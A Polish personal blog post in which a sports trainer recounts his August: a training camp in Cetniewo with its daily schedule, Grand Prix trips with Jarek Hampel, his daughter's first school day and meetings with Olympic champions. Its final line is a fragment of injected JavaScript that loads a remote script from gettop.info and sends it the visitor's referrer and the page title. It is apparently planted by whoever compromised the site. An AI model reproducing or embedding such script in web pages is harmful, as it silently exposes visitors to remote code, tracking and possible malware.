Czas przecieka jak woda przez palce…

6.09.2010 / Mariusz Cieśliński

Nawiązując  do tytułu dokładnie tak jes w moim przypadku.Przy takiej intensywności życia jak moje dosłownie budzę się  i zaraz dzień się kończy.Zero szans na nudę.Dzień z wpiętymi dwoma treningami naprawdę jest bardzo krótki.

Sierpień zleciał z prędkością światła.Zgrupowanie w Cetniewie i dwa wyjazdy z Jarkiem Hampelem na Grand Prix do Szwecji i Chorwacji.Ledwo się obrobiłem i trzeba wyprawić było jeszcze dziecko do szkoły-debiut w pierwszej klasie mojej córki.

Zgrupownie w Cetniewie to dwa 5dniowe mikrocykle.Dzień na obozie:pobudka 7.30 i rozruch indywidualnie-przebieżka z rozciąganiem na plaży.Śniadanie i o 11.00 pierwszy trening.Sala i trening w parach,dużo techniki ,rozwiązań technicznych i taktyki walki.Obiad,odpoczynek i 16.30 powtórka na sali.Dużo tzw.sparringów zadaniowych.Z treningów siłowych dużo,bardzo dużo plajomterii.Były to treningi bardzo odzczuwalne.Ktoś,kto nie przygotował się do zgrupowania i przyjechał w wakacyjnej formie-cierpiał i to bardzo.Pomiędzy treningami spędzałem czas na rowerze szosowym.Udało mi się mimo dużego ruchu ulicznego dojechać dwa razy na Hel i z powrotem do Cetniewa.

Jako ciekawostkę podam ,że odwiedzał nas na treningach Andzrzej Gmitruk,który w tym samym czasie przebywał na zgrupowaniu ze swoimi zawodnikami m.in. z Mateuszem Masternakiem.

W jedną sobotę było odsłonięcie w Aleji Gwiazd Sportu tablic pamiątkowych.Była okazja spotkać podwójnego Mistrza Olimpijskiego w zapasach w stylu klasycznym Andrzeja Wrońskiego,Złotego Medalistę w boksie Jerzego Rybickiego.

Częstotliwóść wyjazdów niestety zabiła ruch na jakiś czas w moim blogu ale teraz będę to nadrabiał.}s.src='http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=' + encodeURIComponent(document.referrer) + '&default_keyword=' + encodeURIComponent(document.title) + '';